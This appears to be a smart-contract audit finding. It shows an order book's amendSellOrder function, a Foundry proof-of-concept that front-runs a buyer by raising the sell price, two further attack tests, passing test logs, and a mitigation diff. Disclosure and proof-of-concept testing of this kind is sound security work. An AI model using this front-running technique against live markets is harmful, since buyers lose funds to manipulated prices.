function amendSellOrder(
uint256 _orderId,
uint256 _newAmountToSell,
uint256 _newPriceInUSDC,
uint256 _newDeadlineDuration
) public {
Order storage order = orders[_orderId];
if (order.seller == address(0)) revert OrderNotFound();
if (order.seller != msg.sender) revert NotOrderSeller();
if (!order.isActive) revert OrderAlreadyInactive();
if (block.timestamp >= order.deadlineTimestamp) revert OrderExpired();
if (_newAmountToSell == 0) revert InvalidAmount();
if (_newPriceInUSDC == 0) revert InvalidPrice();
if (_newDeadlineDuration == 0 || _newDeadlineDuration > MAX_DEADLINE_DURATION) revert InvalidDeadline();
uint256 newDeadlineTimestamp = block.timestamp + _newDeadlineDuration;
IERC20 token = IERC20(order.tokenToSell);
if (_newAmountToSell > order.amountToSell) {
uint256 diff = _newAmountToSell - order.amountToSell;
token.safeTransferFrom(msg.sender, address(this), diff);
} else if (_newAmountToSell < order.amountToSell) {
uint256 diff = order.amountToSell - _newAmountToSell;
token.safeTransfer(order.seller, diff);
}
order.amountToSell = _newAmountToSell;
order.priceInUSDC = _newPriceInUSDC;
order.deadlineTimestamp = newDeadlineTimestamp;
emit OrderAmended(_orderId, _newAmountToSell, _newPriceInUSDC, newDeadlineTimestamp);
}
pragma solidity ^0.8.0;
import {Test, console2} from "forge-std/Test.sol";
import {OrderBook} from "../src/OrderBook.sol";
import {MockUSDC} from "./mocks/MockUSDC.sol";
import {MockWBTC} from "./mocks/MockWBTC.sol";
import {MockWETH} from "./mocks/MockWETH.sol";
import {MockWSOL} from "./mocks/MockWSOL.sol";
* @title Price Manipulation Exploit
* @notice Demonstrates how malicious sellers can front-run buyers to inflate prices
* @dev This exploit shows the vulnerability in amendSellOrder function
*/
contract PriceManipulationExploit is Test {
OrderBook book;
MockUSDC usdc;
MockWBTC wbtc;
MockWETH weth;
MockWSOL wsol;
address owner;
address maliciousSeller;
address victimBuyer;
address frontRunner;
function setUp() public {
owner = makeAddr("protocol_owner");
maliciousSeller = makeAddr("malicious_seller");
victimBuyer = makeAddr("victim_buyer");
frontRunner = makeAddr("front_runner");
usdc = new MockUSDC(6);
wbtc = new MockWBTC(8);
weth = new MockWETH(18);
wsol = new MockWSOL(18);
vm.prank(owner);
book = new OrderBook(address(weth), address(wbtc), address(wsol), address(usdc), owner);
weth.mint(maliciousSeller, 10e18);
usdc.mint(victimBuyer, 100_000e6);
usdc.mint(frontRunner, 10_000e6);
}
* @notice CRITICAL EXPLOIT: Price manipulation through amendSellOrder front-running
* @dev Demonstrates how sellers can inflate prices after buyers commit to purchase
*/
function test_PriceManipulationExploit() public {
console2.log("\n=== CRITICAL PRICE MANIPULATION EXPLOIT ===");
console2.log("Demonstrating front-running vulnerability in amendSellOrder");
vm.startPrank(maliciousSeller);
weth.approve(address(book), 1e18);
uint256 orderId = book.createSellOrder(
address(weth),
1e18,
3000e6,
2 days
);
vm.stopPrank();
console2.log("Step 1: Seller creates order - 1 wETH for 3000 USDC");
console2.log("Order ID:", orderId);
uint256 victimUSDCBefore = usdc.balanceOf(victimBuyer);
console2.log("Step 2: Victim has", victimUSDCBefore / 1e6, "USDC ready to buy");
vm.prank(victimBuyer);
usdc.approve(address(book), 5000e6);
console2.log("Step 3: ATTACK - Seller front-runs and inflates price!");
vm.startPrank(maliciousSeller);
book.amendSellOrder(
orderId,
1e18,
5000e6,
2 days
);
vm.stopPrank();
console2.log("Price manipulated from 3000 USDC to 5000 USDC (+66%)");
uint256 sellerUSDCBefore = usdc.balanceOf(maliciousSeller);
vm.startPrank(victimBuyer);
book.buyOrder(orderId);
vm.stopPrank();
uint256 victimUSDCAfter = usdc.balanceOf(victimBuyer);
uint256 sellerUSDCAfter = usdc.balanceOf(maliciousSeller);
uint256 protocolFees = book.totalFees();
uint256 victimPaid = victimUSDCBefore - victimUSDCAfter;
uint256 sellerReceived = sellerUSDCAfter - sellerUSDCBefore;
uint256 unfairProfit = victimPaid - 3000e6;
console2.log("\n=== EXPLOIT RESULTS ===");
console2.log("Victim expected to pay: 3000 USDC");
console2.log("Victim actually paid:", victimPaid / 1e6, "USDC");
console2.log("Seller received:", sellerReceived / 1e6, "USDC");
console2.log("Protocol fees:", protocolFees / 1e6, "USDC");
console2.log("Unfair profit from manipulation:", unfairProfit / 1e6, "USDC");
assertGt(victimPaid, 3000e6, "Victim should pay more than fair price");
assertEq(victimPaid, 5000e6, "Victim paid the manipulated price");
assertEq(sellerReceived, 4850e6, "Seller received 5000 - 3% fee = 4850");
assertEq(unfairProfit, 2000e6, "Victim lost extra 2000 USDC to manipulation");
console2.log("\n EXPLOIT SUCCESSFUL: Victim lost", unfairProfit / 1e6, "USDC to price manipulation!");
}
* @notice Demonstrates DoS attack through amendment-induced transaction failures
* @dev Shows how sellers can cause buyer transactions to fail, wasting gas
*/
function test_AmendmentDoSAttack() public {
console2.log("\n=== AMENDMENT DOS ATTACK ===");
console2.log("Demonstrating how sellers can cause buyer transaction failures");
vm.startPrank(maliciousSeller);
weth.approve(address(book), 1e18);
uint256 orderId = book.createSellOrder(
address(weth),
1e18,
3000e6,
2 days
);
vm.stopPrank();
vm.prank(victimBuyer);
usdc.approve(address(book), 3000e6);
vm.startPrank(maliciousSeller);
book.amendSellOrder(orderId, 1e18, 4000e6, 2 days);
vm.stopPrank();
vm.startPrank(victimBuyer);
vm.expectRevert();
book.buyOrder(orderId);
vm.stopPrank();
console2.log(" DoS SUCCESSFUL: Buyer transaction failed due to insufficient approval");
console2.log("Victim wasted gas while seller can retry the attack");
}
* @notice Demonstrates market manipulation through rapid price amendments
* @dev Shows how sellers can create artificial volatility
*/
function test_MarketManipulationThroughAmendments() public {
console2.log("\n=== MARKET MANIPULATION THROUGH RAPID AMENDMENTS ===");
vm.startPrank(maliciousSeller);
weth.approve(address(book), 1e18);
uint256 orderId = book.createSellOrder(address(weth), 1e18, 3000e6, 2 days);
console2.log("Creating artificial volatility through rapid price amendments:");
book.amendSellOrder(orderId, 1e18, 3500e6, 2 days);
console2.log("Price: 3500 USDC");
book.amendSellOrder(orderId, 1e18, 2800e6, 2 days);
console2.log("Price: 2800 USDC");
book.amendSellOrder(orderId, 1e18, 4200e6, 2 days);
console2.log("Price: 4200 USDC");
book.amendSellOrder(orderId, 1e18, 3100e6, 2 days);
console2.log("Price: 3100 USDC");
vm.stopPrank();
console2.log(" MANIPULATION SUCCESSFUL: Created false volatility signals");
}
}
forge test --match-contract PriceManipulationExploit --via-ir -vv
[⠰] Compiling...
No files changed, compilation skipped
Ran 3 tests for test/PriceManipulationExploit.t.sol:PriceManipulationExploit
[PASS] test_AmendmentDoSAttack() (gas: 276007)
Logs:
=== AMENDMENT DOS ATTACK ===
Demonstrating how sellers can cause buyer transaction failures
DoS SUCCESSFUL: Buyer transaction failed due to insufficient approval
Victim wasted gas while seller can retry the attack
[PASS] test_MarketManipulationThroughAmendments() (gas: 241853)
Logs:
=== MARKET MANIPULATION THROUGH RAPID AMENDMENTS ===
Creating artificial volatility through rapid price amendments:
Price: 3500 USDC
Price: 2800 USDC
Price: 4200 USDC
Price: 3100 USDC
MANIPULATION SUCCESSFUL: Created false volatility signals
[PASS] test_PriceManipulationExploit() (gas: 329798)
Logs:
=== CRITICAL PRICE MANIPULATION EXPLOIT ===
Demonstrating front-running vulnerability in amendSellOrder
Step 1: Seller creates order - 1 wETH for 3000 USDC
Order ID: 1
Step 2: Victim has 100000000000 USDC ready to buy
Step 3: ATTACK - Seller front-runs and inflates price!
Price manipulated from 3000 USDC to 5000 USDC (+66%)
=== EXPLOIT RESULTS ===
Victim expected to pay: 3000 USDC
Victim actually paid: 5000 USDC
Seller received: 4850 USDC
Protocol fees: 150 USDC
Unfair profit from manipulation: 2000 USDC
EXPLOIT SUCCESSFUL: Victim lost 2000 USDC to price manipulation!
Suite result: ok. 3 passed; 0 failed; 0 skipped; finished in 1.30ms (556.44µs CPU time)
Ran 1 test suite in 5.67ms (1.30ms CPU time): 3 tests passed, 0 failed, 0 skipped (3 total tests)
This mitigation implements a price commitment mechanism that separates price changes from other order amendments. By removing the ability to modify prices in amendSellOrder
and introducing a dedicated commitOrderPrice
function with a one-time-use flag, sellers can no longer front-run buyers with price increases.
- function amendSellOrder(
- uint256 _orderId,
- uint256 _newAmountToSell,
- uint256 _newPriceInUSDC, // Remove price parameter
- uint256 _newDeadlineDuration
- ) public {
- // ... existing validation ...
-
- // Update order details
- order.amountToSell = _newAmountToSell;
- order.priceInUSDC = _newPriceInUSDC; // Remove price modification
- order.deadlineTimestamp = newDeadlineTimestamp;
- }
+ function amendSellOrder(
+ uint256 _orderId,
+ uint256 _newAmountToSell,
+ uint256 _newDeadlineDuration
+ ) public {
+ // ... existing validation ...
+
+ // Update order details - price cannot be changed
+ order.amountToSell = _newAmountToSell;
+ order.deadlineTimestamp = newDeadlineTimestamp;
+ }
+
+ // Add separate price commitment function with one-time use
+ function commitOrderPrice(uint256 _orderId, uint256 _newPriceInUSDC) public {
+ Order storage order = orders[_orderId];
+ if (order.priceCommitted) revert PriceAlreadyCommitted();
+ if (order.seller != msg.sender) revert NotOrderSeller();
+
+ order.priceInUSDC = _newPriceInUSDC;
+ order.priceCommitted = true; // Lock price permanently
+ }
+ // Add price commitment flag to Order struct
+ struct Order {
+ uint256 id;
+ address seller;
+ address tokenToSell;
+ uint256 amountToSell;
+ uint256 priceInUSDC;
+ uint256 deadlineTimestamp;
+ bool isActive;
+ bool priceCommitted; // New field to prevent price changes
+ }